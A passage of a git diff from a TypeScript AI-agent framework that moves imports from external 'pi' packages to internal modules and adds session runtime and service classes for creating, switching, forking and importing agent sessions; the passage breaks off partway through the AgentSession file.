"./embedded-agent-helpers/types.js"; const log = createSubsystemLogger("session-suspension"); diff --git a/src/agents/session-tool-result-guard-wrapper.ts b/src/agents/session-tool-result-guard-wrapper.ts index d210b42a412..e6938627a73 100644 --- a/src/agents/session-tool-result-guard-wrapper.ts +++ b/src/agents/session-tool-result-guard-wrapper.ts @@ -1,5 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { SessionManager } from "@earendil-works/pi-coding-agent"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { getGlobalHookRunner } from "../plugins/hook-runner-global.js"; import { @@ -10,8 +8,10 @@ import { mergePreparedUserTurnMessageForRuntime, type PersistedUserTurnMessage, } from "../sessions/user-turn-transcript.js"; -import { resolveLiveToolResultMaxChars } from "./pi-embedded-runner/tool-result-truncation.js"; +import { resolveLiveToolResultMaxChars } from "./embedded-agent-runner/tool-result-truncation.js"; +import type { AgentMessage } from "./runtime/index.js"; import { installSessionToolResultGuard } from "./session-tool-result-guard.js"; +import type { SessionManager } from "./sessions/index.js"; import { redactTranscriptMessage } from "./transcript-redact.js"; type GuardedSessionManager = SessionManager & { @@ -55,9 +55,7 @@ export function guardSessionManager( const hookRunner = getGlobalHookRunner(); let pendingPreparedUserTurnMessage = opts?.preparedUserTurnMessage; - const beforeMessageWrite = (event: { - message: import("@earendil-works/pi-agent-core").AgentMessage; - }) => { + const beforeMessageWrite = (event: { message: AgentMessage }) => { let message = event.message; let changed = false; if (hookRunner?.hasHooks("before_message_write")) { diff --git a/src/agents/session-tool-result-guard.test.ts b/src/agents/session-tool-result-guard.test.ts index c37d9153524..c7b30dc8ec7 100644 --- a/src/agents/session-tool-result-guard.test.ts +++ b/src/agents/session-tool-result-guard.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { describe, expect, it } from "vitest"; import { installSessionToolResultGuard } from "./session-tool-result-guard.js"; import { castAgentMessage } from "./test-helpers/agent-message-fixtures.js"; @@ -173,7 +173,7 @@ describe("installSessionToolResultGuard", () => { expectPersistedRoles(sm, ["assistant", "toolResult"]); }); - it("applies pi-style count-based truncation wording when persisting oversized tool results", () => { + it("applies count-based truncation wording when persisting oversized tool results", () => { const sm = SessionManager.inMemory(); installSessionToolResultGuard(sm); diff --git a/src/agents/session-tool-result-guard.tool-result-persist-hook.test.ts b/src/agents/session-tool-result-guard.tool-result-persist-hook.test.ts index 3265cf4f462..8a553c02639 100644 --- a/src/agents/session-tool-result-guard.tool-result-persist-hook.test.ts +++ b/src/agents/session-tool-result-guard.tool-result-persist-hook.test.ts @@ -1,8 +1,8 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { describe, expect, it, afterEach, vi } from "vitest"; import { initializeGlobalHookRunner, diff --git a/src/agents/session-tool-result-guard.transcript-events.test.ts b/src/agents/session-tool-result-guard.transcript-events.test.ts index f3bd3b59a37..af3521ead5a 100644 --- a/src/agents/session-tool-result-guard.transcript-events.test.ts +++ b/src/agents/session-tool-result-guard.transcript-events.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; import { onSessionTranscriptUpdate, diff --git a/src/agents/session-tool-result-guard.ts b/src/agents/session-tool-result-guard.ts index 165b181facf..7c0637a77fc 100644 --- a/src/agents/session-tool-result-guard.ts +++ b/src/agents/session-tool-result-guard.ts @@ -1,5 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { SessionManager } from "@earendil-works/pi-coding-agent"; import { boundedJsonUtf8Bytes, firstEnumerableOwnKeys, @@ -17,17 +15,19 @@ import type { } from "../plugins/types.js"; import { emitSessionTranscriptUpdate } from "../sessions/transcript-events.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; -import { formatContextLimitTruncationNotice } from "./pi-embedded-runner/context-truncation-notice.js"; +import { formatContextLimitTruncationNotice } from "./embedded-agent-runner/context-truncation-notice.js"; import { DEFAULT_MAX_LIVE_TOOL_RESULT_CHARS, truncateToolResultMessage, -} from "./pi-embedded-runner/tool-result-truncation.js"; +} from "./embedded-agent-runner/tool-result-truncation.js"; +import type { AgentMessage } from "./runtime/index.js"; import { getRawSessionAppendMessage, setRawSessionAppendMessage, } from "./session-raw-append-message.js"; import { createPendingToolCallState } from "./session-tool-result-state.js"; import { makeMissingToolResult, sanitizeToolCallInputs } from "./session-transcript-repair.js"; +import type { SessionManager } from "./sessions/index.js"; import { extractToolCallsFromAssistant, extractToolResultId } from "./tool-call-id.js"; /** diff --git a/src/agents/session-transcript-repair.attachments.test.ts b/src/agents/session-transcript-repair.attachments.test.ts index 864e1b277bc..ba756435e98 100644 --- a/src/agents/session-transcript-repair.attachments.test.ts +++ b/src/agents/session-transcript-repair.attachments.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, it, expect } from "vitest"; import { sanitizeToolCallInputs } from "./session-transcript-repair.js"; import { castAgentMessage, castAgentMessages } from "./test-helpers/agent-message-fixtures.js"; diff --git a/src/agents/session-transcript-repair.test.ts b/src/agents/session-transcript-repair.test.ts index 2b7b7acba53..cfda4ac07a7 100644 --- a/src/agents/session-transcript-repair.test.ts +++ b/src/agents/session-transcript-repair.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { sanitizeToolCallInputs, diff --git a/src/agents/session-transcript-repair.ts b/src/agents/session-transcript-repair.ts index d6cf3600eac..53c0b325bca 100644 --- a/src/agents/session-transcript-repair.ts +++ b/src/agents/session-transcript-repair.ts @@ -1,9 +1,9 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { hasNonEmptyString as hasNonEmptyStringField, normalizeOptionalString, readStringValue, } from "../shared/string-coerce.js"; +import type { AgentMessage } from "./runtime/index.js"; import { extractToolCallsFromAssistant, extractToolResultId, diff --git a/src/agents/sessions/agent-session-runtime.ts b/src/agents/sessions/agent-session-runtime.ts new file mode 100644 index 00000000000..56e430a4771 --- /dev/null +++ b/src/agents/sessions/agent-session-runtime.ts @@ -0,0 +1,441 @@ +import { copyFileSync, existsSync, mkdirSync } from "node:fs"; +import { basename, join, resolve } from "node:path"; +import type { + AgentSessionRuntimeDiagnostic, + AgentSessionServices, +} from "./agent-session-services.js"; +import type { AgentSession } from "./agent-session.js"; +import type { + ReplacedSessionContext, + SessionShutdownEvent, + SessionStartEvent, +} from "./extensions/index.js"; +import { emitSessionShutdownEvent } from "./extensions/runner.js"; +import type { CreateAgentSessionResult } from "./sdk.js"; +import { assertSessionCwdExists } from "./session-cwd.js"; +import { SessionManager } from "./session-manager.js"; + +/** + * Result returned by runtime creation. + * + * The caller gets the created session, its cwd-bound services, and all + * diagnostics collected during setup. + */ +export interface CreateAgentSessionRuntimeResult extends CreateAgentSessionResult { + services: AgentSessionServices; + diagnostics: AgentSessionRuntimeDiagnostic[]; +} + +/** + * Creates a full runtime for a target cwd and session manager. + * + * The factory closes over process-global fixed inputs, recreates cwd-bound + * services for the effective cwd, resolves session options against those + * services, and finally creates the AgentSession. + */ +export type CreateAgentSessionRuntimeFactory = (options: { + cwd: string; + agentDir: string; + sessionManager: SessionManager; + sessionStartEvent?: SessionStartEvent; +}) => Promise; + +/** + * Thrown when /import references a JSONL file path that does not exist. + */ +export class SessionImportFileNotFoundError extends Error { + readonly filePath: string; + + constructor(filePath: string) { + super(`File not found: ${filePath}`); + this.name = "SessionImportFileNotFoundError"; + this.filePath = filePath; + } +} + +function extractUserMessageText(content: string | Array<{ type: string; text?: string }>): string { + if (typeof content === "string") { + return content; + } + + return content + .filter( + (part): part is { type: "text"; text: string } => + part.type === "text" && typeof part.text === "string", + ) + .map((part) => part.text) + .join(""); +} + +/** + * Owns the current AgentSession plus its cwd-bound services. + * + * Session replacement methods tear down the current runtime first, then create + * and apply the next runtime. If creation fails, the error is propagated to the + * caller. The caller is responsible for user-facing error handling. + */ +export class AgentSessionRuntime { + private rebindSession?: (session: AgentSession) => Promise; + private beforeSessionInvalidate?: () => void; + private currentSession: AgentSession; + private runtimeServices: AgentSessionServices; + private readonly createRuntime: CreateAgentSessionRuntimeFactory; + private runtimeDiagnostics: AgentSessionRuntimeDiagnostic[]; + private fallbackMessage?: string; + + constructor( + session: AgentSession, + services: AgentSessionServices, + createRuntime: CreateAgentSessionRuntimeFactory, + diagnostics: AgentSessionRuntimeDiagnostic[] = [], + modelFallbackMessage?: string, + ) { + this.currentSession = session; + this.runtimeServices = services; + this.createRuntime = createRuntime; + this.runtimeDiagnostics = diagnostics; + this.fallbackMessage = modelFallbackMessage; + } + + get services(): AgentSessionServices { + return this.runtimeServices; + } + + get session(): AgentSession { + return this.currentSession; + } + + get cwd(): string { + return this.runtimeServices.cwd; + } + + get diagnostics(): readonly AgentSessionRuntimeDiagnostic[] { + return this.runtimeDiagnostics; + } + + get modelFallbackMessage(): string | undefined { + return this.fallbackMessage; + } + + setRebindSession(rebindSession?: (session: AgentSession) => Promise): void { + this.rebindSession = rebindSession; + } + + /** + * Set a synchronous callback that runs after `session_shutdown` handlers finish + * but before the current session is invalidated. + * + * This is for host-owned UI teardown that must not yield to the event loop, + * such as detaching extension-provided TUI components before the old extension + * context becomes stale. + */ + setBeforeSessionInvalidate(beforeSessionInvalidate?: () => void): void { + this.beforeSessionInvalidate = beforeSessionInvalidate; + } + + private async emitBeforeSwitch( + reason: "new" | "resume", + targetSessionFile?: string, + ): Promise<{ cancelled: boolean }> { + const runner = this.currentSession.extensionRunner; + if (!runner.hasHandlers("session_before_switch")) { + return { cancelled: false }; + } + + const result = await runner.emit({ + type: "session_before_switch", + reason, + targetSessionFile, + }); + return { cancelled: result?.cancel === true }; + } + + private async emitBeforeFork( + entryId: string, + options: { position: "before" | "at" }, + ): Promise<{ cancelled: boolean }> { + const runner = this.currentSession.extensionRunner; + if (!runner.hasHandlers("session_before_fork")) { + return { cancelled: false }; + } + + const result = await runner.emit({ + type: "session_before_fork", + entryId, + ...options, + }); + return { cancelled: result?.cancel === true }; + } + + private async teardownCurrent( + reason: SessionShutdownEvent["reason"], + targetSessionFile?: string, + ): Promise { + await emitSessionShutdownEvent(this.currentSession.extensionRunner, { + type: "session_shutdown", + reason, + targetSessionFile, + }); + this.beforeSessionInvalidate?.(); + this.currentSession.dispose(); + } + + private apply(result: CreateAgentSessionRuntimeResult): void { + this.currentSession = result.session; + this.runtimeServices = result.services; + this.runtimeDiagnostics = result.diagnostics; + this.fallbackMessage = result.modelFallbackMessage; + } + + private async finishSessionReplacement( + withSession?: (ctx: ReplacedSessionContext) => Promise, + ): Promise { + if (this.rebindSession) { + await this.rebindSession(this.currentSession); + } + if (withSession) { + await withSession(this.currentSession.createReplacedSessionContext()); + } + } + + async switchSession( + sessionPath: string, + options?: { + cwdOverride?: string; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }, + ): Promise<{ cancelled: boolean }> { + const beforeResult = await this.emitBeforeSwitch("resume", sessionPath); + if (beforeResult.cancelled) { + return beforeResult; + } + + const previousSessionFile = this.currentSession.sessionFile; + const sessionManager = SessionManager.open(sessionPath, undefined, options?.cwdOverride); + assertSessionCwdExists(sessionManager, this.cwd); + await this.teardownCurrent("resume", sessionManager.getSessionFile()); + this.apply( + await this.createRuntime({ + cwd: sessionManager.getCwd(), + agentDir: this.runtimeServices.agentDir, + sessionManager, + sessionStartEvent: { type: "session_start", reason: "resume", previousSessionFile }, + }), + ); + await this.finishSessionReplacement(options?.withSession); + return { cancelled: false }; + } + + async newSession(options?: { + parentSession?: string; + setup?: (sessionManager: SessionManager) => Promise; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }): Promise<{ cancelled: boolean }> { + const beforeResult = await this.emitBeforeSwitch("new"); + if (beforeResult.cancelled) { + return beforeResult; + } + + const previousSessionFile = this.currentSession.sessionFile; + const sessionDir = this.currentSession.sessionManager.getSessionDir(); + const sessionManager = SessionManager.create(this.cwd, sessionDir); + if (options?.parentSession) { + sessionManager.newSession({ parentSession: options.parentSession }); + } + + await this.teardownCurrent("new", sessionManager.getSessionFile()); + this.apply( + await this.createRuntime({ + cwd: this.cwd, + agentDir: this.runtimeServices.agentDir, + sessionManager, + sessionStartEvent: { type: "session_start", reason: "new", previousSessionFile }, + }), + ); + if (options?.setup) { + await options.setup(this.currentSession.sessionManager); + this.currentSession.agent.state.messages = + this.currentSession.sessionManager.buildSessionContext().messages; + } + await this.finishSessionReplacement(options?.withSession); + return { cancelled: false }; + } + + async fork( + entryId: string, + options?: { + position?: "before" | "at"; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }, + ): Promise<{ cancelled: boolean; selectedText?: string }> { + const position = options?.position ?? "before"; + const beforeResult = await this.emitBeforeFork(entryId, { position }); + if (beforeResult.cancelled) { + return { cancelled: true }; + } + let targetLeafId: string | null; + let selectedText: string | undefined; + + const selectedEntry = this.currentSession.sessionManager.getEntry(entryId); + if (!selectedEntry) { + throw new Error("Invalid entry ID for forking"); + } + + if (position === "at") { + targetLeafId = selectedEntry.id; + } else { + if (selectedEntry.type !== "message" || selectedEntry.message.role !== "user") { + throw new Error("Invalid entry ID for forking"); + } + targetLeafId = selectedEntry.parentId; + selectedText = extractUserMessageText(selectedEntry.message.content); + } + + const previousSessionFile = this.currentSession.sessionFile; + if (this.currentSession.sessionManager.isPersisted()) { + const currentSessionFile = this.currentSession.sessionFile; + if (!currentSessionFile) { + throw new Error("Persisted session is missing a session file"); + } + const sessionDir = this.currentSession.sessionManager.getSessionDir(); + if (!targetLeafId) { + const sessionManager = SessionManager.create(this.cwd, sessionDir); + sessionManager.newSession({ parentSession: currentSessionFile }); + await this.teardownCurrent("fork", sessionManager.getSessionFile()); + this.apply( + await this.createRuntime({ + cwd: this.cwd, + agentDir: this.runtimeServices.agentDir, + sessionManager, + sessionStartEvent: { type: "session_start", reason: "fork", previousSessionFile }, + }), + ); + await this.finishSessionReplacement(options?.withSession); + return { cancelled: false, selectedText }; + } + + const sessionManager = SessionManager.open(currentSessionFile, sessionDir); + const forkedSessionPath = sessionManager.createBranchedSession(targetLeafId); + if (!forkedSessionPath) { + throw new Error("Failed to create forked session"); + } + await this.teardownCurrent("fork", sessionManager.getSessionFile()); + this.apply( + await this.createRuntime({ + cwd: sessionManager.getCwd(), + agentDir: this.runtimeServices.agentDir, + sessionManager, + sessionStartEvent: { type: "session_start", reason: "fork", previousSessionFile }, + }), + ); + await this.finishSessionReplacement(options?.withSession); + return { cancelled: false, selectedText }; + } + + const sessionManager = this.currentSession.sessionManager; + if (!targetLeafId) { + sessionManager.newSession({ parentSession: this.currentSession.sessionFile }); + } else { + sessionManager.createBranchedSession(targetLeafId); + } + await this.teardownCurrent("fork", sessionManager.getSessionFile()); + this.apply( + await this.createRuntime({ + cwd: this.cwd, + agentDir: this.runtimeServices.agentDir, + sessionManager, + sessionStartEvent: { type: "session_start", reason: "fork", previousSessionFile }, + }), + ); + await this.finishSessionReplacement(options?.withSession); + return { cancelled: false, selectedText }; + } + + /** + * Import a session JSONL file and switch runtime state to the imported session. + * + * @returns `{ cancelled: true }` when cancelled by `session_before_switch`, otherwise `{ cancelled: false }`. + * @throws {SessionImportFileNotFoundError} When the input path does not exist. + * @throws {MissingSessionCwdError} When the imported session cwd cannot be resolved and no override is provided. + */ + async importFromJsonl(inputPath: string, cwdOverride?: string): Promise<{ cancelled: boolean }> { + const resolvedPath = resolve(inputPath); + if (!existsSync(resolvedPath)) { + throw new SessionImportFileNotFoundError(resolvedPath); + } + + const sessionDir = this.currentSession.sessionManager.getSessionDir(); + if (!existsSync(sessionDir)) { + mkdirSync(sessionDir, { recursive: true }); + } + + const destinationPath = join(sessionDir, basename(resolvedPath)); + const beforeResult = await this.emitBeforeSwitch("resume", destinationPath); + if (beforeResult.cancelled) { + return beforeResult; + } + + const previousSessionFile = this.currentSession.sessionFile; + if (resolve(destinationPath) !== resolvedPath) { + copyFileSync(resolvedPath, destinationPath); + } + + const sessionManager = SessionManager.open(destinationPath, sessionDir, cwdOverride); + assertSessionCwdExists(sessionManager, this.cwd); + await this.teardownCurrent("resume", sessionManager.getSessionFile()); + this.apply( + await this.createRuntime({ + cwd: sessionManager.getCwd(), + agentDir: this.runtimeServices.agentDir, + sessionManager, + sessionStartEvent: { type: "session_start", reason: "resume", previousSessionFile }, + }), + ); + await this.finishSessionReplacement(); + return { cancelled: false }; + } + + async dispose(): Promise { + await emitSessionShutdownEvent(this.currentSession.extensionRunner, { + type: "session_shutdown", + reason: "quit", + }); + this.beforeSessionInvalidate?.(); + this.currentSession.dispose(); + } +} + +/** + * Create the initial runtime from a runtime factory and initial session target. + * + * The same factory is stored on the returned AgentSessionRuntime and reused for + * later /new, /resume, /fork, and import flows. + */ +export async function createAgentSessionRuntime( + createRuntime: CreateAgentSessionRuntimeFactory, + options: { + cwd: string; + agentDir: string; + sessionManager: SessionManager; + sessionStartEvent?: SessionStartEvent; + }, +): Promise { + assertSessionCwdExists(options.sessionManager, options.cwd); + const result = await createRuntime(options); + return new AgentSessionRuntime( + result.session, + result.services, + createRuntime, + result.diagnostics, + result.modelFallbackMessage, + ); +} + +export { + type AgentSessionRuntimeDiagnostic, + type AgentSessionServices, + type CreateAgentSessionFromServicesOptions, + type CreateAgentSessionServicesOptions, + createAgentSessionFromServices, + createAgentSessionServices, +} from "./agent-session-services.js"; diff --git a/src/agents/sessions/agent-session-services.ts b/src/agents/sessions/agent-session-services.ts new file mode 100644 index 00000000000..b82f5422c6c --- /dev/null +++ b/src/agents/sessions/agent-session-services.ts @@ -0,0 +1,211 @@ +import { join } from "node:path"; +import type { Model } from "../../llm/types.js"; +import { getAgentDir } from "../config.js"; +import type { ThinkingLevel } from "../runtime/index.js"; +import { AuthStorage } from "./auth-storage.js"; +import type { SessionStartEvent, ToolDefinition } from "./extensions/index.js"; +import { ModelRegistry } from "./model-registry.js"; +import { + DefaultResourceLoader, + type DefaultResourceLoaderOptions, + type ResourceLoader, +} from "./resource-loader.js"; +import { + type CreateAgentSessionOptions, + type CreateAgentSessionResult, + createAgentSession, +} from "./sdk.js"; +import type { SessionManager } from "./session-manager.js"; +import { SettingsManager } from "./settings-manager.js"; + +/** + * Non-fatal issues collected while creating services or sessions. + * + * Runtime creation returns diagnostics to the caller instead of printing or + * exiting. The app layer decides whether warnings should be shown and whether + * errors should abort startup. + */ +export interface AgentSessionRuntimeDiagnostic { + type: "info" | "warning" | "error"; + message: string; +} + +/** + * Inputs for creating cwd-bound runtime services. + * + * These services are recreated whenever the effective session cwd changes. + * CLI-provided resource paths should be resolved to absolute paths before they + * reach this function, so later cwd switches do not reinterpret them. + */ +export interface CreateAgentSessionServicesOptions { + cwd: string; + agentDir?: string; + authStorage?: AuthStorage; + settingsManager?: SettingsManager; + modelRegistry?: ModelRegistry; + extensionFlagValues?: Map; + resourceLoaderOptions?: Omit< + DefaultResourceLoaderOptions, + "cwd" | "agentDir" | "settingsManager" + >; +} + +/** + * Inputs for creating an AgentSession from already-created services. + * + * Use this after services exist and any cwd-bound model/tool/session options + * have been resolved against those services. + */ +export interface CreateAgentSessionFromServicesOptions { + services: AgentSessionServices; + sessionManager: SessionManager; + sessionStartEvent?: SessionStartEvent; + model?: Model; + thinkingLevel?: ThinkingLevel; + scopedModels?: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>; + tools?: string[]; + noTools?: CreateAgentSessionOptions["noTools"]; + customTools?: ToolDefinition[]; +} + +/** + * Coherent cwd-bound runtime services for one effective session cwd. + * + * This is infrastructure only. The AgentSession itself is created separately so + * session options can be resolved against these services first. + */ +export interface AgentSessionServices { + cwd: string; + agentDir: string; + authStorage: AuthStorage; + settingsManager: SettingsManager; + modelRegistry: ModelRegistry; + resourceLoader: ResourceLoader; + diagnostics: AgentSessionRuntimeDiagnostic[]; +} + +function applyExtensionFlagValues( + resourceLoader: ResourceLoader, + extensionFlagValues: Map | undefined, +): AgentSessionRuntimeDiagnostic[] { + if (!extensionFlagValues) { + return []; + } + + const diagnostics: AgentSessionRuntimeDiagnostic[] = []; + const extensionsResult = resourceLoader.getExtensions(); + const registeredFlags = new Map(); + for (const extension of extensionsResult.extensions) { + for (const [name, flag] of extension.flags) { + registeredFlags.set(name, { type: flag.type }); + } + } + + const unknownFlags: string[] = []; + for (const [name, value] of extensionFlagValues) { + const flag = registeredFlags.get(name); + if (!flag) { + unknownFlags.push(name); + continue; + } + if (flag.type === "boolean") { + extensionsResult.runtime.flagValues.set(name, true); + continue; + } + if (typeof value === "string") { + extensionsResult.runtime.flagValues.set(name, value); + continue; + } + diagnostics.push({ + type: "error", + message: `Extension flag "--${name}" requires a value`, + }); + } + + if (unknownFlags.length > 0) { + diagnostics.push({ + type: "error", + message: `Unknown option${unknownFlags.length === 1 ? "" : "s"}: ${unknownFlags.map((name) => `--${name}`).join(", ")}`, + }); + } + + return diagnostics; +} + +/** + * Create cwd-bound runtime services. + * + * Returns services plus diagnostics. It does not create an AgentSession. + */ +export async function createAgentSessionServices( + options: CreateAgentSessionServicesOptions, +): Promise { + const cwd = options.cwd; + const agentDir = options.agentDir ?? getAgentDir(); + const authStorage = options.authStorage ?? AuthStorage.create(join(agentDir, "auth.json")); + const settingsManager = options.settingsManager ?? SettingsManager.create(cwd, agentDir); + const modelRegistry = + options.modelRegistry ?? ModelRegistry.create(authStorage, join(agentDir, "models.json")); + const resourceLoader = new DefaultResourceLoader({ + ...options.resourceLoaderOptions, + cwd, + agentDir, + settingsManager, + }); + await resourceLoader.reload(); + + const diagnostics: AgentSessionRuntimeDiagnostic[] = []; + const extensionsResult = resourceLoader.getExtensions(); + for (const { name, config, extensionPath } of extensionsResult.runtime + .pendingProviderRegistrations) { + try { + modelRegistry.registerProvider(name, config); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + diagnostics.push({ + type: "error", + message: `Extension "${extensionPath}" error: ${message}`, + }); + } + } + extensionsResult.runtime.pendingProviderRegistrations = []; + diagnostics.push(...applyExtensionFlagValues(resourceLoader, options.extensionFlagValues)); + + return { + cwd, + agentDir, + authStorage, + settingsManager, + modelRegistry, + resourceLoader, + diagnostics, + }; +} + +/** + * Create an AgentSession from previously created services. + * + * This keeps session creation separate from service creation so callers can + * resolve model, thinking, tools, and other session inputs against the target + * cwd before constructing the session. + */ +export async function createAgentSessionFromServices( + options: CreateAgentSessionFromServicesOptions, +): Promise { + return createAgentSession({ + cwd: options.services.cwd, + agentDir: options.services.agentDir, + authStorage: options.services.authStorage, + settingsManager: options.services.settingsManager, + modelRegistry: options.services.modelRegistry, + resourceLoader: options.services.resourceLoader, + sessionManager: options.sessionManager, + model: options.model, + thinkingLevel: options.thinkingLevel, + scopedModels: options.scopedModels, + tools: options.tools, + noTools: options.noTools, + customTools: options.customTools, + sessionStartEvent: options.sessionStartEvent, + }); +} diff --git a/src/agents/sessions/agent-session.ts b/src/agents/sessions/agent-session.ts new file mode 100644 index 00000000000..18cbfc2bd9c --- /dev/null +++ b/src/agents/sessions/agent-session.ts @@ -0,0 +1,3176 @@ +/** + * AgentSession - Core abstraction for agent lifecycle and session management. + * + * This class is shared between all run modes (interactive, print, rpc). + * It encapsulates: + * - Agent state access + * - Event subscription with automatic session persistence + * - Model and thinking level management + * - Compaction (manual and auto) + * - Bash execution + * - Session switching and branching + * + * Modes use this class and add their own I/O layer on top. + */ + +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { basename, dirname, resolve } from "node:path"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; +import { + clampThinkingLevel, + getSupportedThinkingLevels, + modelsAreEqual, +} from "../../llm/model-utils.js"; +import { resetApiProviders } from "../../llm/providers/register-builtins.js"; +import { cleanupSessionResources } from "../../llm/session-resources.js"; +import { streamSimple } from "../../llm/stream.js"; +import type { + AssistantMessage, + ImageContent, + Message, + Model, + TextContent, +} from "../../llm/types.js"; +import { isContextOverflow } from "../../llm/utils/overflow.js"; +import type { + Agent, + AgentEvent, + AgentMessage, + AgentState, + AgentTool, + BranchSummaryResult as CoreBranchSummaryResult, + CompactionResult, + ThinkingLevel, +} from "../runtime/index.js"; +import { + calculateContextTokens, + collectEntriesForBranchSummaryFromBranches, + compact, + estimateContextTokens, + generateBranchSummary, + prepareCompaction, + shouldCompact, +} from "../runtime/index.js"; +import { stripFrontmatter } from "../utils/frontmatter.js"; +import { sleep } from "../utils/sleep.js"; +import { formatNoApiKeyFoundMessage, formatNoModelSelectedMessage } from "./auth-guidance.js"; +import { type BashResult, executeBashWithOperations } from "./bash-executor.js"; +import { DEFAULT_THINKING_LEVEL } from "./defaults.js"; +import { + type ContextUsage, + type ExtensionCommandContextActions, + type ExtensionErrorListener, + ExtensionRunner, + type ExtensionUIContext, + type InputSource, + type MessageEndEvent, + type MessageStartEvent, + type MessageUpdateEvent, + type ReplacedSessionContext, + type SessionStartEvent, + type ShutdownHandler, + type ToolDefinition, + type ToolExecutionEndEvent, + type ToolExecutionStartEvent, + type ToolExecutionUpdateEvent, + type ToolInfo, + type TreePreparation, + type TurnEndEvent, + type TurnStartEvent, + wrapRegisteredTools, +} from "./extensions/index.js"; +import { emitSessionShutdownEvent } from "./extensions/runner.js"; +import type { BashExecutionMessage, CustomMessage } from "./messages.js"; +import type { ModelRegistry } from "./model-registry.js"; +import { expandPromptTemplate, type PromptTemplate } from "./prompt-templates.js"; +import type { ResourceExtensionPaths, ResourceLoader } from "./resource-loader.js"; +import type { BranchSummaryEntry, CompactionEntry, SessionManager } from "./session-manager.js"; +import { getLatestCompactionEntry, type SessionHeader } from "./session-manager.js"; +import type { SettingsManager } from "./settings-manager.js"; +import type { SlashCommandInfo } from "./slash-commands.js"; +import { createSyntheticSourceInfo, type SourceInfo } from "./source-info.js"; +import { type BuildSystemPromptOptions, buildSystemPrompt } from "./system-prompt.js"; +import type { BashOperations } from "./tools/bash-operations.js"; +import { createLocalBashOperations } from "./tools/bash.js"; +import { createAllToolDefinitions } from "./tools/index.js"; +import { createToolDefinitionFromAgentTool } from "./tools/tool-definition-wrapper.js"; + +function unwrapCoreResult(result: { ok: true; value: T } | { ok: false; error: Error }): T { + if (result.ok) { + return result.value; + } + throw result.error; +} + +function normalizeBranchSummaryResult( + result: + | { ok: true; value: CoreBranchSummaryResult } + | { ok: false; error: { code: string; message: string } }, +): { + summary?: string; + readFiles?: string[]; + modifiedFiles?: string[]; + aborted?: boolean; + error?: string; +} { + if (result.ok) { + return result.value; + } + if (result.error.code === "aborted") { + return { aborted: true, error: result.error.message }; + } + return { error: result.error.message }; +} + +// ============================================================================ +// Skill Block Parsing +// ============================================================================ + +/** Parsed skill block from a user message */ +export interface ParsedSkillBlock { + name: string; + location: string; + content: string; + userMessage: string | undefined; +} + +/** + * Parse a skill block from message text. + * Returns null if the text doesn't contain a skill block. + */ +export function parseSkillBlock(text: string): ParsedSkillBlock | null { + const match = text.match( + /^\n([\s\S]*?)\n<\/skill>(?:\n\n([\s\S]+))?$/, + ); + if (!match) { + return null; + } + return { + name: match[1], + location: match[2], + content: match[3], + userMessage: match[4]?.trim() || undefined, + }; +} + +/** Session-specific events that extend the core AgentEvent */ +export type AgentSessionEvent = + | Exclude + | { + type: "agent_end"; + messages: AgentMessage[]; + willRetry: boolean; + } + | { + type: "queue_update"; + steering: readonly string[]; + followUp: readonly string[]; + } + | { type: "compaction_start"; reason: "manual" | "threshold" | "overflow" } + | { type: "session_info_changed"; name: string | undefined } + | { type: "thinking_level_changed"; level: ThinkingLevel } + | { + type: "compaction_end"; + reason: "manual" | "threshold" | "overflow"; + result: CompactionResult | undefined; + aborted: boolean; + willRetry: boolean; + errorMessage?: string; + } + | { + type: "auto_retry_start"; + attempt: number; + maxAttempts: number; + delayMs: number; + errorMessage: string; + } + | { type: "auto_retry_end"; success: boolean; attempt: number; finalError?: string }; + +/** Listener function for agent session events */ +export type AgentSessionEventListener = (event: AgentSessionEvent) => void; + +// ============================================================================ +// Types +// ============================================================================ + +export interface AgentSessionConfig { + agent: Agent; + sessionManager: SessionManager; + settingsManager: SettingsManager; + cwd: string; + /** Models to cycle through with Ctrl+P (from --models flag) */ + scopedModels?: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>; + /** Resource loader for skills, prompts, themes, context files, system prompt */ + resourceLoader: ResourceLoader; + /** SDK custom tools registered outside extensions */ + customTools?: ToolDefinition[]; + /** Model registry for API key resolution and model discovery */ + modelRegistry: ModelRegistry; + /** Initial active built-in tool names. Default: [read, bash, edit, write] */ + initialActiveToolNames?: string[]; + /** Optional allowlist of tool names. When provided, only these tool names are exposed. */ + allowedToolNames?: string[]; + /** Exclude built-in shell/filesystem tools from the registry. */ + disableBuiltInTools?: boolean; + /** + * Override base tools (useful for custom runtimes). + * + * These are synthesized into minimal ToolDefinitions internally so AgentSession can keep + * a definition-first registry even when callers provide plain AgentTool instances. + */ + baseToolsOverride?: Record; + /** Mutable ref used by Agent to access the current ExtensionRunner */ + 